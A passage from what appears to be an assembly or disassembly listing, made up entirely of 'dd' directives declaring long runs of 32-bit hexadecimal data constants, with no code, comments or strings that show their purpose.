		dd 5B3A0Fh, 0FDDF0622h,	0D2820085h, 0E9BC50C7h,	8E3F59B4h
		dd 9C4E983Dh, 0E491FCh,	0B5F85BD1h, 9BC59AF5h, 0D970DC98h
		dd 5275CD00h, 1396B89Ch, 0F9CE001Ch, 3195B687h,	0F8A09FEFh
		dd 0ED0B200Ah, 222F18C9h, 0C8C11C14h, 0E8CFE6A4h, 0A3EA00F4h
		dd 1576F6A9h, 0F800A0F5h, 2A98D7B9h, 1284A446h,	518B5Fh
		dd 953481E0h, 0AD09BE29h, 0A169C890h, 0F660CCA8h, 890BCC3h
		dd 57E06Eh, 6EBFE89h, 7B17E11Eh, 42660B2Eh, 31C3CA03h
		dd 0D994F014h, 0C7F0156h, 58412B47h, 72408ED0h,	2A6A008Eh
		dd 140B4948h, 0F8D8A73Bh, 3B4A940h, 6909957Dh, 3EB72F74h
		dd 0FEA71C80h, 0B4A042CDh, 0FA2E88B2h, 6A0C9CF8h, 2A2078h
		dd 0E986F52Eh, 0F37BD858h, 32DBEB00h, 4308864h,	0E5C7035Eh
		dd 5AE3FABDh, 0C0AADFA9h, 27001699h, 50199576h,	0FA23AE40h
		dd 0D4C90077h, 0BECF8CECh, 1B00DD1Eh, 3C102BCBh, 0F2A2B526h
		dd 45250040h, 4288CF0Dh, 35001374h, 12C6AFDEh, 3A7804h
		dd 0F3FB1D2Ch, 8A0675F0h, 7983B4Ch, 8DE6837Bh, 1C9AA0BEh
		dd 325D1Ah, 0D77F2C61h,	752DBEF5h, 609A4D73h, 24EC7E02h
		dd 0C0990654h, 0F73E88h, 0EB09EB7h, 0C18C44D5h,	60A29F00h
		dd 0E7EDA078h, 43C700C2h, 6F830AA4h, 0D0BA621Ch, 57B883FDh
		dd 38228260h, 6F42B50h,	564ED7A1h, 0ED504874h, 0B901B2E0h
		dd 0AABC6B9Ah, 0A9700B1Ch, 4BF300BFh, 0FAF1FD71h, 870051F5h
		dd 73A15385h, 59427C34h, 13073839h, 0D09A253Bh,	61A863C2h
		dd 0A308D909h, 463C00A4h, 306B3632h, 66485BC0h,	0F2F49DEAh
		dd 9EC16E00h, 3AA60296h, 7ED8B80Bh, 8DBA000Ch, 38444082h
		dd 6DEAAFCFh, 1B668C0h,	6422AE0Ch, 4511175h, 394F68BBh
		dd 7F9A6500h, 9E00E418h, 0D0A9F5CAh, 3B2D5756h,	5887C25Eh
		dd 70703A84h, 0AB152220h, 6F7FDA00h, 0EFCF040Ah, 4B550EDCh
		dd 0FD4014D2h, 0C5D7DC2h, 9BBFEB04h, 0C480ABB3h, 64DA0BA5h
		dd 0D0FA709Eh, 0A4F1BF34h, 0F30332B0h, 47EB132Dh, 0FB9BA5h
		dd 19D72221h, 39679778h, 0F7058CB2h, 0BD0CDA1Bh, 46301440h
		dd 2956E5h, 7505BCF1h, 38AEC345h, 4703FEECh, 83C16BFBh
		dd 0E53BC840h, 39EC22h,	5605D98Ch, 51D2A5F5h, 924ED500h
		dd 0ECFCAA26h, 2D7DADh,	0EDDE46E3h, 286A53Ah, 640763B0h
		dd 0FEB34813h, 90E0CE13h, 0FECAD9FBh, 92F60B33h, 23800B30h
		dd 0B60C1787h, 0DF5F2E00h, 6BAC90Dh, 0DA5A007Bh, 32524E34h
		dd 8500EF3Ch, 174530A3h, 266746AAh, 9B7023h, 1D22FD78h
		dd 70C39DFh, 0F015FFC5h, 701B155Eh, 0A7788871h,	4BB1C104h
		dd 0AF108027h, 0FAE0B74Ah, 987E7416h, 3C4E0B96h, 0E8808662h
		dd 9ECE63B9h, 0E570AF19h, 3B105A29h, 8B009C23h,	75C6F0C2h
		dd 0EBD8314h, 0EED0ED52h, 0EAF88CA0h, 21F2E6B9h, 0DF61C700h
		dd 0F434682Dh, 3919EE62h, 28807537h, 10144229h,	21058D17h
		dd 785C0D54h, 26F6C8CCh, 967556h, 7B705DEh, 5E002787h
		dd 3BAEB973h, 738401DCh, 74D600CEh, 1A7BA0F4h, 0F200A42Eh
		dd 0EA8DAAEEh, 32F44D9h, 0E6BA3475h, 283A715Dh,	0F3C18045h
		dd 0FCE99CC7h, 0E803E8BDh, 0D2F50032h, 0E7A60E33h, 0EE01C9BEh
		dd 0BFD87E69h, 0A440A9DCh, 481888h, 8AD5272Fh, 4933F2B1h
		dd 39A55F00h, 0A6E0C41Ch, 7B8B1676h, 0E1944525h, 0A88567h
		dd 900C1089h, 2F0103EAh, 87C9A973h, 0E0C7D758h,	1F7CFFh
		dd 1B10C13Fh, 0E8DBAFF2h, 42239300h, 9190AADh, 0A5D64CE5h
		dd 0AA474800h, 0FF7495DAh, 612F3606h, 50E8F6h, 33572CE9h
		dd 7BD06875h, 69606A00h, 90C3B8E7h, 0AE071F3Bh,	5095006Eh
		dd 0A64D058Ah, 0D71F2100h, 0C59EE37h, 5EEA4Eh, 0ED823AE1h
		dd 3C14B54Ah, 27002490h, 1F40C5D4h, 1417B8Eh, 506AB889h
		dd 0DC73E376h, 0B77E1551h, 460EE8ECh, 40E5FA75h, 0DF88E967h
		dd 0DE420256h, 0BC3034F2h, 0DC005872h, 85A849FDh, 0C52BA34Fh
		dd 80551D8Ch, 0A67C205Ch, 0DE54A0C0h, 66ECDAh, 70B7A4B3h
		dd 0BEBAD64h, 0A22F0500h, 466E6FF2h, 6DCE1302h,	0B1614022h
		dd 497BB09Fh, 0D7A23C00h, 9E155356h, 0AA540013h, 5021BF05h
		dd 3901DDE2h, 411911E7h, 40EEA30Dh, 0F2E9494h, 348CC9C7h
		dd 0F09D6FA7h, 0D4AC5EE2h, 0E507901Ch, 0C0BB003Dh, 31BA75E7h
		dd 7D9170F6h, 6864003Dh, 7C0A3E78h, 4D063C7Eh, 4A5A57BDh
		dd 7480378h, 0C7319679h, 435480C4h, 0BBF0702Eh,	917DE500h
		dd 5CBDA23Bh, 0F1FA0CB6h, 9A384B08h, 9C66EF02h,	81D9F9C2h
		dd 60C82B9Ch, 0E84E8FCCh, 141F12DEh, 68F80018h,	7FC104F7h
		dd 63726603h, 0E831A4ECh, 3FDDC5BDh, 5000DCFBh,	0BA24135Dh
		dd 561D2041h, 0FF40A55Ch, 371CBC46h, 0ED11C0B6h, 0AFE6DB9Ah
		dd 0D87DF70Fh, 2C47D3FEh, 10F01FBBh, 48B2663Bh,	800B08Ah
		dd 0D021FB5Ah, 670081F9h, 0CB1FB761h, 25F2594h,	0A4F5EEEAh
		dd 8C40DC3Fh, 3D001557h, 4E842A78h, 96DDC0C9h, 0A8B9B84Ch
		dd 3194CA80h, 9CDE898Ch, 1868834Dh, 4BE1F8EBh, 0FE70078h
		dd 0A1EF5777h, 6D00FBCCh, 0B3893AF4h, 62675Dh, 8F07405Ch
		dd 126FE8Bh, 0F900A17Eh, 65E22BD6h, 50A8CDDh, 8896EF91h
		dd 3EB8563h, 0E4A2667h,	80E031DBh, 0BC03DDF5h, 552A19A4h
		dd 0C700E5DFh, 0FB3EC91Bh, 5FA3Dh, 1D5C2003h, 0D0627AC4h
		dd 0E70076E6h, 30EE0D96h, 73B2F1h, 58A0E4E9h, 55E3A535h
		dd 91775F0Ch, 7AD968h, 21E57F2h, 830C1C8h, 390F7898h, 5CA99FB7h
		dd 14957DC0h, 0DAA8FDh,	46013B48h, 35262078h, 4932B900h
		dd 4E74AB0Eh, 0BD3309D5h, 28019727h, 38281F2Bh,	8CF300BCh
		dd 20C08E92h, 89AE0343h, 0D1D4EC07h, 8DB797E0h,	0A7DB227h
		dd 9F3C4484h, 8F00F6DCh, 85A29D08h, 482C009Ah, 6E7DE703h
		dd 84E2C9E3h, 9D679F03h, 8286107Fh, 18FA40BCh, 981B00EEh
		dd 929C4625h, 6C04D102h, 0A24C4D37h, 54885080h,	0C9521214h
		dd 8138008Eh, 0E6CA589Bh, 0BC10BD67h, 84465CD0h, 9A50009Eh
		dd 328CA2ABh, 0AF034B39h, 0CD73655Dh, 8F1EA0E5h, 7CB283h
		dd 7B538856h, 0D9552C99h, 48FC4500h, 0D7F3CB0Ah, 0B4DD0080h
		dd 0BB8B3540h, 44B2C0E2h, 0F2005373h, 6594FCBDh, 0F137Dh
		dd 90D59311h, 0A6BFC13Ch, 0B2EF3201h, 0B902E122h, 0DDC420h
		dd 83430F3h, 97CF1737h,	5ADE7300h, 7D3D7A2Fh, 73A47ACBh
		dd 9D59008Dh, 0FFD0D755h, 9B0096B2h, 19E76DBCh,	1E8665Bh
		dd 5D79C4AFh, 0D0A99A35h, 697CCF40h, 0FF39EE7Eh, 8A3B0296h
		dd 61C26809h, 4880D13Dh, 4247BECFh, 0D7005ED0h,	0B5712FC4h
		dd 540F8DBAh, 0AD88EAh,	6EB0EF61h, 0A5BED928h, 0C7748479h
		dd 57114C00h, 5D3279B7h, 0BAAA00F7h, 3074687Dh,	0F558BD10h
		dd 543100A7h, 0D0B57838h, 22B301ECh, 862060A4h,	0DBB8E417h
		dd 87A9040Fh, 611A2E5Eh, 336C9BB9h, 0A31E0428h,	92820CDBh
		dd 0AB809311h, 0D7164175h, 5C6EC0C4h, 0BC00DAEAh, 0B60BA9D0h
		dd 386110Eh, 47139F6Ch,	3D88289Dh, 2A183A52h, 0A438A2F7h
		dd 0ADE8F9h
		dd 0E663B708h, 738252D7h, 4BE27000h, 0A8972917h, 23B6003Dh
		dd 1A279562h, 82128F75h, 2893E4BCh, 38A4F498h, 0DA730CBFh
		dd 5A8A30Fh, 9745A50Ah,	0D4241075h, 9B8FB00h, 2E16C20Ch
		dd 79082EAh, 0DB8C71C6h, 0D25DDC83h, 24A0C0ADh,	37399F01h
		dd 0A72200DDh, 0B3392032h, 4196003Bh, 0BEAA61A8h, 757FF0D4h
		dd 0B5A5EC00h, 5C69AC19h, 0A3F3008Ah, 0F013CD9Eh, 0ED01FACFh
		dd 0B2FDBBE7h, 91812D1Bh, 5566312Bh, 467ED042h,	16D04A03h
		dd 905BA94Ch, 295178h, 2507C73Dh, 13600CB6h, 0FA9E2A05h
		dd 8009AF85h, 651848C8h, 0CE860BE0h, 2A000BF6h,	3A2DAE5h
		dd 0CCA3FD03h, 0E81098AAh, 3C076204h, 7500C66Fh, 9EBF460Eh
		dd 17075ACEh, 27136CB2h, 1ED0E18Fh, 80800DD6h, 44996A0h
		dd 2E00FE08h, 0D0A624FBh, 213A387h, 3C1B7D4Bh, 545081AFh
		dd 46081713h, 0E81F2C12h, 0BC706200h, 7C83E57h,	0A2129EF6h
		dd 202240B5h, 8B1FE7A3h, 0B3C07247h, 7B50FCC5h,	0D34E0C7Eh
		dd 64194528h, 0AC0D3F0Fh, 9ABF2036h, 0C943E6h, 3E74E5CEh
		dd 2D3F6F79h, 8FDD8303h, 80C30A05h, 201FB853h, 174CC21Ch
		dd 1E800F00h, 0DB36874Bh, 3964381h, 1D644E0h, 0F58B22F1h
		dd 0A6B433CFh, 55002358h, 0E8B1BC58h, 6E670701h, 808D5BFFh
		dd 0C3CA0566h, 560628DFh, 0C185ABBh, 0ACB87560h, 8A067C99h
		dd 0E1024F11h, 6FF268h,	0DD78BACEh, 1F458D7Dh, 823F901Eh
		dd 0B4E2C900h, 0C01ECFF8h, 1F260C81h, 0B1008CA4h, 5A98FAB9h
		dd 183E7DB8h, 18D62356h, 8648CF62h, 0E34507AAh,	7F826384h
		dd 679480AEh, 0F6B466A3h, 886A00C9h, 17E5B33Dh,	0EF30E64Fh
		dd 0A6ED9101h, 60FE8482h, 0F398E550h, 0FB270914h, 1D0C0CC0h
		dd 46AFE85Bh, 3859DA50h, 2C1374h, 2923BF18h, 6F2BE66Ch
		dd 0CC884EB8h, 2A60AE67h, 0EB7F4518h, 0F0DB81DCh, 9CA2F402h
		dd 3896C055h, 0D01D0C1Bh, 0D6E0DF2Fh, 74E9101Fh, 0A3D74F45h
		dd 0D0208801h, 2098CF3Bh, 874F03Eh, 7A30B5E8h, 0FC1E114Ah
		dd 6BEB032Ch, 5D4EFDE7h, 0BCD8092Ah, 2C047E00h,	8DE4DA59h
		dd 15360EFBh, 0B9C111C3h, 851E641Fh, 0A6524DA0h, 66198040h
		dd 72DE2F0Dh, 0BCE336E8h, 0BB467880h, 0E92C1602h, 0FA31F76Bh
		dd 2CFE8010h, 79D29D0Bh, 0B9DC00DCh, 0A03D9F7Fh, 0A411D0h
		dd 0B0F9DAA5h, 3390922h, 0F55B1700h, 125AE49h, 57C90073h
		dd 0FE908B75h, 0B33F19D3h, 0B580E045h, 0E27A7ECDh, 48EA0017h
		dd 0B813C1F0h, 5D007307h, 4234792Ch, 0B07D91h, 820465A8h
		dd 753ACB31h, 18EA6400h, 0AE37B4F3h, 10F29Fh, 274E5817h
		dd 8DF7A43Bh, 0B9005E76h, 0DAEC05BBh, 0B0ABCFD5h, 0C5A800F3h
		dd 0A63D5A77h, 1C00166Ch, 0B40A334h, 3A0BB79h, 7FAEBECEh
		dd 0A9A07820h, 9776BF21h, 92B03503h, 74338440h,	10F81830h
		dd 0BCBB1050h, 0B628C200h, 24CBC817h, 0EA2C0045h, 0F8820619h
		dd 0B20FE838h, 0F92DBB32h, 0BD08A429h, 44040E44h, 0CA44BEE7h
		dd 7D4284C0h, 97086021h, 84FC9054h, 0CC4A7399h,	14ED143Ch
		dd 0AD22847Bh, 0F109FB70h, 10941253h, 3489073Ch, 0BA75510h
		dd 0C23EADF6h, 0D17D0031h, 0DC3A2B38h, 5D0003Dh, 27E479F5h
		dd 0D8008CE1h, 99C50AADh, 0A115DEh, 0C0F2F4F0h,	7DE352C2h
		dd 54EA9502h, 0C0A90936h, 0B274Bh, 375E0733h, 0F463FFB5h
		dd 24B75F58h, 6100E2F2h, 0D47BB46Fh, 0B70F0070h, 12438EEDh
		dd 491D28B3h, 27019B20h, 694E3AE9h, 2BD1CC40h, 5704123Fh
		dd 0BBC900BAh, 4C2A3DEBh, 0DE4F7000h, 3F592DA4h, 0C0E2E0h
		dd 0B7417AE6h, 9065ED56h, 0E3B43800h, 913A8A89h, 72F02Ah
		dd 4048D65Ch, 7FB7A306h, 8724E500h, 7EC17D17h, 0F1CA00F5h
		dd 0E9C09B11h, 340EAE1Bh, 20E2F25Ah, 0DB2DE16h,	0D26801B9h
		dd 0C867C4Bh, 3B109D2Eh, 2CDCF80h, 7E509AB8h, 38927Fh
		dd 2C1A0466h, 236BAD31h, 0EC5BD300h, 630E58E5h,	253F07C6h
		dd 0C0517739h, 0B3822469h, 84EC38h, 0DF5CBF74h,	3868B5h
		dd 0AA33B9C7h, 9A1BA0C4h, 1E46600h, 927DE7ACh, 614F021Fh
		dd 52FCE212h, 70AA7448h, 0D4758100h, 3F4EEFA0h,	1BEE0AE1h
		dd 8B6E13h, 60E54C4Fh, 8107427Bh, 994BC75Fh, 9769EF70h
		dd 3F97D29h, 0F6E0D2B4h, 51F06F46h, 400C5A0h, 28B7B640h
		dd 110B8Bh, 8DF020ADh, 0E8DAD291h, 0C353C000h, 97B0584h
		dd 0F3E505D5h, 40EFAEDFh, 0B2C957DCh, 3614AB8Dh, 3BA0EBB1h
		dd 541980BCh, 9C28DCF4h, 0AEF0071Eh, 0C1393E81h, 0D895D192h
		dd 3801AC6Ch, 0D555EDD0h, 8CE11CA7h, 5C0D98DCh,	3600215Eh
		dd 0B434B6ADh, 797A3864h, 9200D17Ch, 109C8F53h,	0BC2391h
		dd 84E283E1h, 5B2D4B32h, 729D350Ah, 0D3009C8Ah,	0ABB90AACh
		dd 0EB3D0016h, 0F4DF66A1h, 51E67B92h, 0B8478800h, 8B709F9Dh
		dd 0D1260EA8h, 6D0043AEh, 6CF55360h, 0E0EA4701h, 0F837C10Eh
		dd 0A086C4h, 0EB4B1F52h, 889A215Fh, 670F3B1Ch, 0A7ACBF00h
		dd 1B0DC09Ch, 0A11F376Ah, 3ABD9DD0h, 0F9B9F00h,	9842F4ABh
		dd 0DBF00DDh, 0DF8064C6h, 6D00AA35h, 0AD1662FBh, 0E2A13B1Ch
		dd 0DB5C3D68h, 1108324h, 829D7ED2h, 15118038h, 7ABE0C7Bh
		dd 73C63885h, 4C438800h, 2207F369h, 3044E604h, 60803F6Bh
		dd 1F854AA2h, 4078F65Eh, 0BCAD3720h, 56004506h,	1BF88329h
		dd 179C7DBh, 9C755E41h,	82C8A3BBh, 3344B810h, 0FD24480Bh
		dd 4D7D3BB6h, 0C8196F82h, 3C602746h, 0C9004ADBh, 1E23CC06h
		dd 5842786Ch, 0AA00F507h, 14657637h, 0BF0E9535h, 60809AAEh
		dd 5EC1C505h, 0C194C69h, 880CB93Ah, 11E07917h, 7AC9D800h
		dd 0CB79BA6h, 39CEFE47h, 0E905E042h, 8074E2BAh,	892799FCh
		dd 0D320AA00h, 17B556BCh, 42260028h, 1D69BA0Ah,	906AACE9h
		dd 0BB00CA50h, 290E3DF6h, 4F6F282Eh, 9DB20790h,	90B9E81Fh
		dd 52AC4114h, 8074ED3Fh, 6515BDF8h, 81D9AFh, 7C92F096h
		dd 438550F3h, 7841E400h, 4D58EAD2h, 2789303Ah, 0AB60B990h
		dd 0A3617D00h, 83707B47h, 4B5009Dh, 0EB95AFCEh,	1C002B88h
		dd 39A31091h, 38506Ch, 9BCE65A2h, 0A844335Ah, 0E5139509h
		dd 0F61300DDh, 24C61EFh, 428FC785h, 0C080F3A9h,	210DAE82h
		dd 0A78D4E00h, 0FA93B333h, 0F9E10028h, 6D6FC555h, 5770BBCEh
		dd 3142B50Bh, 0B4870011h, 0FDD117h, 0E44B766Bh,	0F1ED1019h
		dd 0FBFE7E7Bh, 6C7BE3F6h, 300C98F0h, 10E4D3F2h,	0ABC40045h
		dd 0D0FCA60Eh, 823DD53Ch, 5EBC80EDh, 0FF9248CAh, 0C09087h
		dd 2E1A03CEh, 0BC321749h, 0BE0021F8h, 6D74B3E8h, 0A16DAC5h
		dd 8A4C0DD8h, 0BB16F8h,	0DB67580Ch, 8F00B313h, 47890E1Ch
		dd 8CDEFFh, 777041B7h, 87330A35h, 16A7E309h, 1974078Eh
		dd 670F40B4h, 0CDD23Dh,	9E8A385Ch, 2D0085B8h, 975BA15Ch
		dd 60FCDCh, 6B988850h, 0E0BE63C4h, 478AC318h, 0ECD6A9h
		dd 811D0A1Fh, 0B7AA9590h, 8FAC8506h, 28E110h, 0F8F002ECh
		dd 37D71730h, 23F2010Eh, 0C688A04Fh, 89A6D8h, 4A192725h
		dd 0E89554FAh, 66455D00h, 58C4216h, 370D0F52h, 0BC845E2Eh
		dd 84E4C015h, 700F68E6h, 0C7907A9Ah, 0CE72CB57h, 3FAE8034h
		dd 76F94462h, 5B850161h, 7F67F590h, 0E777E8A5h,	364E7A07h
		dd 8F05A824h, 41ADC008h, 80E58742h, 5F201190h, 74416C53h
		dd 4C4FEE2h, 7C6AF081h,	4797C0A9h, 0D1013862h, 993756D7h
		dd 3834D307h, 769C4889h, 62C4FE00h, 0BE02571Eh,	7A7FBC00h
		dd 0DB5ED921h, 9FFA48h
		dd 38C610B4h, 3EFE6C85h, 40AA8403h, 0F114D472h,	0D053177Ah
		dd 611BB035h, 88F0F6h, 2327BF45h, 0F50EAF3Ah, 8570C00h
		dd 76D418ACh, 52F230EEh, 0BE2E4B10h, 0EBDBA000h, 7170E214h
		dd 394B01Ch, 7A0F7FCEh,	58D0C6CDh, 8C003A8Bh, 3F69F947h
		dd 0EFBB0Eh, 74C0A999h,	0F312F87Eh, 0CCF26000h,	0FF2D8457h
		dd 0FC800FCEh, 0F780E270h, 0F99C62C0h, 1A641300h, 0CEF82716h
		dd 5A6500F2h, 1FBFE6EAh, 0CF0E0133h, 0C0A09A80h, 0DA326903h
		dd 8FE21FC1h, 20007CF4h, 7C760EFh, 1903842Bh, 5F9FC55Bh
		dd 80139828h, 0F86500A4h, 0AF513C6Dh, 26009571h, 750A9EB5h
		dd 5CA3745Bh, 7C6C53h, 7E7061F1h, 0F5674243h, 8415400h
		dd 0DC47AA99h, 29392494h, 176C006Ch, 69C3D5A9h,	309E6E02h
		dd 4042EE0Fh, 0CD35990h, 0CE11532Fh, 0BC000122h, 0EF6CC74Ch
		dd 349FC71h, 4A10D19h, 98C0B8DCh, 0F50E5406h, 0A0EDE1C9h
		dd 0F8ECD542h, 59BF004Eh, 4676839h, 0BC00A90Ah,	0ED57C5E7h
		dd 25BB060h, 0DB6B7FC8h, 78E0BFCCh, 0E60010BBh,	0B5B2F314h
		dd 790E57CEh, 0F060164Eh, 0F5F800F2h, 53F87D80h, 0FEDC9217h
		dd 0B6B72807h, 1CFA1550h, 12B101D5h, 3426A06Dh,	0BAB87032h
		dd 6E23F00h, 0EC6309ACh, 3C4700BBh, 0B8E330BDh,	0D4005556h
		dd 4334BE83h, 16B232ABh, 7E6178Eh, 0C095DDFFh, 0D79BB8CAh
		dd 70193100h, 68B6EEF7h, 0F42400C8h, 416575CEh,	0C0002EB1h
		dd 2BAC0708h, 0D6E86444h, 912B0730h, 0C4E38058h, 0F005401h
		dd 52607A5Eh, 1E4CD4F2h, 2CE4BD59h, 993F00E8h, 870E0D13h
		dd 1B1D2E00h, 2F319463h, 0BE4201C5h, 9CA23B81h,	24C3F0C7h
		dd 50C09577h, 0F109F9CEh, 0C8CC0068h, 4B63FF8Eh, 0C009B435h
		dd 4060FD9Bh, 0B38914h,	10BAC7B0h, 0FC8DC6B9h, 4EF31500h
		dd 85DE6594h, 45D0007Ch, 261A733Eh, 2A1C9019h, 6CA68E11h
		dd 0D3E66E03h, 0C4A00C36h, 44597566h, 98833580h, 8E9D0714h
		dd 143614FCh, 5484F4h, 5FF2D5D4h, 0E400C893h, 95CA7B80h
		dd 54A972h, 0E64D6E09h,	81704658h, 0FD00C37Ah, 65B166AFh
		dd 0FD24F7E3h, 0C9F06880h, 53E7CE43h, 8DC44F00h, 1B68A0Ch
		dd 6C17030Ah, 880E7C26h, 29BD6DD8h, 0D98C1500h,	0ABCAE38h
		dd 434D0050h, 41C76382h, 0AA00DCC6h, 162A22BDh,	0B1C07D46h
		dd 0B1A28B48h, 4D4A020h, 0E20038C2h, 299B25DBh,	0A0C8E826h
		dd 283488h, 77091D27h, 3FC95DFDh, 257FF726h, 0F967802h
		dd 2E8480EAh, 0E61863Ch, 0EBA021C2h, 1D9A95A0h,	0FD738916h
		dd 9202B316h, 0B908CD01h, 68709CC3h, 0ECFE004Fh, 31342B10h
		dd 351F8FD3h, 0CF80A88Bh, 495557F0h, 33D9009Eh,	46388914h
		dd 95097D0Eh, 8274B5B7h, 7443A774h, 0F8FD06F5h,	6F4B107Bh
		dd 1DBDEFA0h, 0A8C0601h, 12E48169h, 4660C09Fh, 0FFE07884h
		dd 0E8C93130h, 0BF5CEh,	5A09E616h, 48FA2ABAh, 68BCF90Bh
		dd 4D9C005Bh, 556984h, 0C8DC4253h, 0B6EE44Fh, 0FDD6E800h
		dd 2FCD878Ch, 0CF30009Ah, 0CB4FD833h, 9D1E85DFh, 0B8128253h
		dd 8439A018h, 4CAF8DDh,	0CE6429ACh, 0EF708D98h,	52F0E2E0h
		dd 51724400h, 5D99DC86h, 9FE33h, 0DF7C9185h, 9832BECFh
		dd 70B0BC01h, 343EE722h, 752C420h, 0C2FB62F4h, 8337E047h
		dd 0EE0477BAh, 8221C57Ch, 1809A0C0h, 0FB1B3E55h, 792E1780h
		dd 3C986EEEh, 92B0A801h, 0F64C64E8h, 69B830h, 0FF7490BFh
		dd 14D67954h, 8CFEE700h, 349F31AFh, 1B7CD3h, 0D92EEAE5h
		dd 5771A324h, 0E149B904h, 70801CDEh, 4C9EACC4h,	4F018A83h
		dd 181728E8h, 0E07B20E6h, 0D9856700h, 0DE74404Ah, 460400CCh
		dd 9AD48A88h, 81A071ADh, 7B4BDD30h, 76011EACh, 0C9FF6B05h
		dd 0CB7CCCDFh, 0B9B4AC00h, 4753A27Fh, 0C7E0EFh,	0C4EE5D6Fh
		dd 465C5193h, 9EB73Dh, 0F1EA7D5h, 1B93431h, 0B1C3D039h
		dd 0F4CD9B36h, 0F9137A0Eh, 7880B0BFh, 7FC1E96h,	0B9C9D019h
		dd 0B52927Eh, 0EF5ED0C0h, 39460500h, 9F4928B2h,	1B6D001Fh
		dd 89F57740h, 4C004382h, 6AD97251h, 0EE0573h, 2B5899CFh
		dd 2287DAAh, 988BAC24h,	706F0D02h, 41D4C06Ch, 543B268Fh
		dd 836900C0h, 0D759469Fh, 0CF6639h, 2CBE7DC6h, 7E58A2DFh
		dd 0E25600FFh, 0E944846Dh, 977C653Eh, 7B93103h,	8101E76Fh
		dd 9472BF3Ah, 1864617h,	296AFE64h, 8EA07BB7h, 7173002Bh
		dd 7CF747ABh, 0C200DE6Eh, 7605AFAEh, 0B0DCAD9h,	7FFD1754h
		dd 6A7B1820h, 8E0045DFh, 204CC3EFh, 989E61E7h, 925C0080h
		dd 51A7E333h, 3D1E6658h, 0B5025F83h, 798F1568h,	7318004Ch
		dd 0E049ED19h, 0E51390C0h, 2CA70Dh, 454D5E1Ah, 3C58E484h
		dd 1210C9h, 0F3E0C766h,	0D4C8F576h, 0D75400C1h,	6CCBB1EDh
		dd 5E1C0311h, 57422040h, 60F1303Ch, 3FC03268h, 18E0AFBFh
		dd 7AF9F65Ch, 0BE561D00h, 0EA0DC6F0h, 388D0050h, 0B0610E0Ah
		dd 4409BAECh, 2079CE60h, 2CF1E904h, 58BC75AAh, 0B50030B1h
		dd 0FFA79807h, 24B00FC5h, 6C293E00h, 0BB2B6152h, 0DCE61D3Dh
		dd 321DCB91h, 0C4E7875Fh, 0ACD0AB44h, 164FE874h, 850DDD62h
		dd 210516E4h, 9DD4FCh, 0FF9970h, 0CB235E0Bh, 691F6664h
		dd 62ED1800h, 1AA244BEh, 0DB310641h, 48B57388h,	2A00E670h
		dd 21A3BE34h, 7D46BFDAh, 43D30019h, 9B988508h, 0BA0061F5h
		dd 301FAD64h, 7B6FA286h, 766D00E0h, 3E714CC7h, 8D00AAE5h
		dd 0C9BCCE06h, 0A157617Dh, 2DCC7FFCh, 3D2E896h,	73F8F4Ah
		dd 0BAC8E6FCh, 0FF00410Fh, 9177687Bh, 0ECFDB99h, 0EB7FE280h
		dd 0F7DF4CC0h, 4248560Ah, 3E1F0070h, 0D1C2FE1h,	0B1270544h
		dd 0C7ED01A0h, 0E35E4074h, 0B70D430Ch, 11264861h, 65B620h
		dd 88FB0B77h, 3794B84Fh, 48DF58h, 0A05CCE20h, 0AB2864h
		dd 0BEF02A7Eh, 4A7054DCh, 69D14D00h, 3B38B892h,	216F4D9h
		dd 5EC96BE3h, 0A050E1A2h, 7C89B000h, 8D13BB0Fh,	38515C05h
		dd 0C9C4F600h, 39E5AC55h, 0CB00B376h, 0D8E85E2Ch, 94F718CAh
		dd 0D10001Ch, 8723C184h, 1B6A8102h, 0C0377D6Fh,	0E0BC86C0h
		dd 8E4C0061h, 84698AE6h, 145D4DBEh, 0E9720204h,	1BCD0Ah
		dd 0BB9FC5FCh, 5B2FE300h, 265909B0h, 952D00A2h,	6F22985Dh
		dd 68EA841Ah, 0B90D3100h, 0A242FE77h, 75AE00A8h, 67864F51h
		dd 0DA046DFBh, 36D19EE0h, 0B4F44201h, 0FC89815Dh, 0A1DE3169h
		dd 4CACD820h, 0AF58B0A6h, 0F41CA20Bh, 74751082h, 0C439D8C9h
		dd 0F00A909h, 0E3814D79h, 5A088CBh, 4BCB052h, 6F3C8076h
		dd 3500016Dh, 0DA641933h, 3CDF8051h, 0C80144C0h, 6B5D01Bh
		dd 17FBE83Fh, 0BD29A960h, 2236371h, 4CA8AC97h, 687032A0h
		dd 5F6FD200h, 4D096DA6h, 1E7F2E70h, 751FB8h, 0FF5CA9D8h
		dd 0B4711774h, 3C33BC01h, 39557B7Dh, 981874h, 8AE9C6B8h
		dd 0D969A940h, 0A67F2C00h, 78B7FAA0h, 0DF1A0371h, 7511106Dh
		dd 0BBDEFCA0h, 59241501h, 2BD8A562h, 78C0E5F5h,	36971B3h
		dd 0E6DEC494h, 28B1034Dh, 297E9FA9h, 0E00F2D8Ah, 0BFE55C00h
		dd 0CFC7DBh, 3AE9D079h,	3D90C946h, 2B9A300h, 0F8A52F10h
		dd 0EDD20008h, 241DD81Ch, 0CE0F8882h, 0EBAFB155h, 813C8947h
		dd 38717E68h, 90A2E040h, 0D8913AD4h, 1CCB90D0h,	40E87257h
		dd 110F66E6h, 9809B034h, 5B958DAh, 44904BDCh, 0F6A25Dh
		dd 0BAD6A6ECh, 6A5551Eh, 1400D2E8h, 4F1CD719h, 328C33h
		dd 0A23843E4h, 0C606BCC8h, 80A6E13Ch, 0E9477864h, 120127EBh
		dd 5E713Bh, 496674D0h
		dd 44003DFBh, 57C20B2Fh, 4FF4E5h, 14BC6CEEh, 2D8D8220h
		dd 99E84950h, 92E09400h, 4969553h, 97C0043h, 2EAF4E08h
		dd 0D2018B3Ch, 9C4BDFD9h, 46D8BC78h, 0AB60011h,	9814BA20h
		dd 8EF0AC0Eh, 7A090DE0h, 9528A7h, 5BBFC4Ch, 124C73F4h
		dd 0D0B47Ch, 7E41790Eh,	0A5189E83h, 0F210CC8Ah,	5A101C18h
		dd 0C9A0014Ch, 505B2192h, 79624A98h, 0F6402C00h, 986DEE1Ch
		dd 242600AFh, 0A9774539h, 0EE4E1C1h, 0C38B0903h, 911050F7h
		dd 7A3046h, 0D36F298Ah,	0C502DDB6h, 31A868F3h, 0C00C403Eh
		dd 0DE5300D9h, 0D59DC3F7h, 5A003CDDh, 273994ADh, 186B367Dh
		dd 7A9C985Eh, 29EA2819h, 8C007EE6h, 0D39D41DAh,	0E6575391h
		dd 2455B0FAh, 40C34ADh,	80D08CD6h, 0EEC888ECh, 0E0CF6703h
		dd 0A89E0FA3h, 164733A4h, 5D00B6Ch, 0C0E97940h,	3DA2551Fh
		dd 94EB7C00h, 14F89F2Dh, 85840025h, 724D2753h, 7300F70Ch
